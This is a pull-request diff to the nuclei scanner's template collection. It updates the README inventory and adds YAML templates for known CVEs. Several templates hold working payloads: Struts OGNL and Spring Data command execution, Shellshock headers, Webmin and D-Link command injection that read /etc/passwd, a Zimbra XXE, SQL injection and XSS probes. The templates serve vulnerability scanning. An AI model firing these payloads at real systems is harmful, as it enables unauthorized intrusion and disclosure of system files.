Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882

Update CVE-2020-14882 payload & with positive matchers

.nuclei-ignore

@@ -1,3 +1,11 @@
 .pre-commit-config.yaml
 security-misconfiguration/missing-x-frame-options.yaml
-cves/CVE-2020-13379.yaml
+security-misconfiguration/missing-hsts.yaml
+security-misconfiguration/missing-csp.yaml
+security-misconfiguration/basic-cors-flash.yaml
+cves/CVE-2017-7529.yaml
+cves/CVE-2020-13379.yaml
+cves/CVE-2013-2251.yaml
+vulnerabilities/x-forwarded-host-injection.yaml
+fuzzing/
+workflows/

README.md

@@ -10,24 +10,25 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
 
-### nuclei templates `v7.0.5`
+### nuclei templates `v7.2.0`
 
 | Template Directory      	| Number of Templates      |
 |---------------------------|--------------------------|
-| cves                     	|106                       |
+| cves                     	|125                       |
 | default-credentials       |03                        |
 | dns                     	|04                        |
-| files                     |40                        |
+| files                     |44                        |
+| fuzzing                   |02                        |
 | generic-detections        |03                        |
-| panels                    |35                        |
-| security-misconfiguration |23                  	   |
+| panels                    |39                        |
+| security-misconfiguration |25                  	   |
 | subdomain-takeover        |02           			   |
-| technologies              |27      				   |
-| tokens                    |07                        |
-| vulnerabilities           |31          			   |
+| technologies              |32      				   |
+| tokens                    |08                        |
+| vulnerabilities           |33          			   |
 | workflows                 |15              		   |
 
-### nuclei templates `v7.0.5` tree overview 
+### nuclei templates `v7.2.0` tree overview 
 
 <details>
 <summary>Template Directory</summary>
@@ -35,12 +36,15 @@ An overview of the nuclei template directory including number of templates and H
 ```
 ├── cves
 │   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
+│   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-11444.yaml
 │   ├── CVE-2017-14537.yaml
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
 │   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-7615.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
 │   ├── CVE-2018-0296.yaml
@@ -49,10 +53,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-11759.yaml
 │   ├── CVE-2018-1247.yaml
 │   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-1273.yaml
 │   ├── CVE-2018-13379.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
 │   ├── CVE-2018-16763.yaml
+│   ├── CVE-2018-17431.yaml
 │   ├── CVE-2018-18069.yaml
 │   ├── CVE-2018-19386.yaml
 │   ├── CVE-2018-19439.yaml
@@ -75,10 +81,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-15107.yaml
+│   ├── CVE-2019-15858.yaml
 │   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-1653.yaml
 │   ├── CVE-2019-16662.yaml
 │   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-16920.yaml
 │   ├── CVE-2019-17382.yaml
 │   ├── CVE-2019-17558.yaml
 │   ├── CVE-2019-18394.yaml
@@ -86,6 +96,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
@@ -95,6 +106,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-6715.yaml
 │   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8442.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
@@ -104,18 +116,23 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-10204.yaml
 │   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-14179.yaml
+│   ├── CVE-2020-14181.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
 │   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-24312.yaml
+│   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
@@ -137,9 +154,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8194.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
-│   └── CVE-2020-9757.yaml
+│   ├── CVE-2020-9757.yaml
+│   ├── cve-2019-9733.yaml
+│   └── cve-2020-0618.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
 │   ├── rabbitmq-default-admin.yaml
@@ -154,10 +175,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── cgi-test-page.yaml
 │   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
+│   ├── domcfg-page.yaml
 │   ├── druid-monitor.yaml
 │   ├── drupal-install.yaml
 │   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
 │   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
@@ -169,12 +192,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── magento-config.yaml
 │   ├── ntlm-directories.yaml
+│   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
 │   ├── robots.txt.yaml
 │   ├── security.txt.yaml
 │   ├── server-status-localhost.yaml
+│   ├── shell-history.yaml
 │   ├── sql-dump.yaml
 │   ├── telerik-dialoghandler-detect.yaml
 │   ├── telerik-fileupload-detect.yaml
@@ -189,13 +215,19 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
+│   ├── wsdl-detect.yaml
 │   └── zip-backup-files.yaml
+├── fuzzing
+│   ├── arbitrary-file-read.yaml
+│   ├── directory-traversal.yaml
+│   └── generic-lfi-fuzzing.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
 ├── panels
 │   ├── adminer-panel.yaml
+│   ├── aims-password-mgmt-client.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
@@ -204,16 +236,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
 │   ├── globalprotect-panel.yaml
+│   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── manage-engine-admanager-panel.yaml
 │   ├── mobileiron-login.yaml
-│   ├── mongo-express-web-gui.yaml
 │   ├── netscaler-gateway.yaml
+│   ├── network-camera-detect.yaml
 │   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
@@ -221,15 +254,18 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
 │   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
 │   ├── traefik-dashboard.yaml
+│   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
@@ -245,12 +281,16 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
+│   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
 │   ├── missing-csp.yaml
 │   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
+│   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
 │   ├── unauthenticated-airflow.yaml
 │   ├── unauthenticated-jenkin-dashboard.yaml
@@ -261,6 +301,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
 ├── technologies
+│   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
@@ -269,16 +310,22 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
 │   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
+│   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
+│   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
@@ -286,18 +333,20 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
 │   └── werkzeug-debugger-detect.yaml
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
 │   ├── credentials-disclosure.yaml
+│   ├── fcm-server-key.yaml
 │   ├── google-api-key.yaml
 │   ├── http-username-password.yaml
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── Symantec-Messaging-Gateway.yaml
 │   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
@@ -316,18 +365,26 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
 │   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
+│   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-emails-verification-for-woocommerce.yaml
+│   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
-│   └── x-forwarded-host-injection.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
 └── workflows
     ├── artica-web-proxy-workflow.yaml
     ├── bigip-pwner-workflow.yaml
@@ -348,7 +405,7 @@ An overview of the nuclei template directory including number of templates and H
 
 </details>
 
-13 directories, **298 templates**. 
+14 directories, **352 templates**. 
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 

cves/CVE-2013-2251.yaml

@@ -0,0 +1,25 @@
+id: cve-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid="
+        condition: and
+        part: body

cves/CVE-2014-6271.yaml

@@ -0,0 +1,31 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-11444.yaml

@@ -0,0 +1,24 @@
+id: cve-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2017-7529.yaml

@@ -1,33 +0,0 @@
-id: cve-2017-7529
-info:
-  author: "Harsh Bothra & @dwisiswant0"
-  name: "Nginx Remote Integer Overflow"
-  severity: medium
-  description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
-
-  # This template supports the detection part only.
-  # Do not test any website without permission
-  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-        Accept-Language: en-US,en;q=0.5
-        Range: bytes=-17208,-9223372036854758792
-        Connection: close
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 206
-      - type: word
-        words:
-          - "Server: nginx"
-        part: header
-      - type: word
-        words:
-          - "Content-Range"
-        part: body

cves/CVE-2017-7615.yaml

@@ -0,0 +1,38 @@
+id: cve-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr & dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  # References:
+  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+  # - [3] https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2018-1273.yaml

@@ -0,0 +1,34 @@
+id: cve-2018-1273
+
+info:
+  name: Spring Data Commons Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
+    and older unsupported versions, contain a property binder vulnerability
+    caused by improper neutralization of special elements.
+    An unauthenticated remote malicious user (or attacker) can supply
+    specially crafted request parameters against Spring Data REST backed HTTP resources
+    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+
+requests:
+  - payloads:
+      command:
+        - "cat /etc/passwd"
+        - "type C:\\/Windows\\/win.ini"
+    raw:
+      - |
+        POST /account HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body

cves/CVE-2018-19386.yaml

@@ -10,7 +10,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
 
     matchers-condition: and
     matchers:
@@ -19,4 +19,4 @@ requests:
           - 200
       - type: word
         words:
-          - 'javascript:alert(document.cookie)//'
+          - '<a href="javascript:alert(document.domain)//'

cves/CVE-2019-15107.yaml

@@ -0,0 +1,32 @@
+id: cve-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47293
+# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-15858.yaml

@@ -0,0 +1,29 @@
+id: cve-2019-15858
+
+info:
+  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
+    before 2.2.5 for WordPress allows unauthenticated options import,
+    as demonstrated by storing an XSS payload for remote code execution.
+
+    Source/References:
+    - https://github.com/GeneralEG/CVE-2019-15858
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "2.2.5"
+        part: body

cves/CVE-2019-1653.yaml

@@ -0,0 +1,20 @@
+id: cve-2019-1653
+
+info:
+  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/config.exp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "sysconfig"
+        part: body

cves/CVE-2019-16920.yaml

@@ -0,0 +1,65 @@
+id: cve-2019-16920
+
+info:
+  name: Unauthenticated Multiple D-Link Routers RCE
+  author: dwisiswant0
+  severity: critical
+  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
+
+  # References:
+  # - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
+
+requests:
+  - raw:
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-20141.yaml

@@ -0,0 +1,20 @@
+id: cve-2019-20141
+
+info:
+  name: Neon Dashboard - XSS Reflected
+  author: knassar702
+  severity: medium
+  description: |
+    An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
+    Source/References:
+    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+    matchers:
+      - type: word
+        words:
+          - "<img src=x onerror=alert(1)>"
+        part: body

cves/CVE-2019-8442.yaml

@@ -0,0 +1,19 @@
+id: cve-2019-8442
+info:
+  name: JIRA Directory Traversal
+  author: Kishore Krishna (siLLyDaddy)
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - >-
+        {{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <groupId>com.atlassian.jira</groupId>
+        part: body

cves/CVE-2019-9670.yaml

@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body

cves/CVE-2020-11034.yaml

@@ -5,7 +5,7 @@ info:
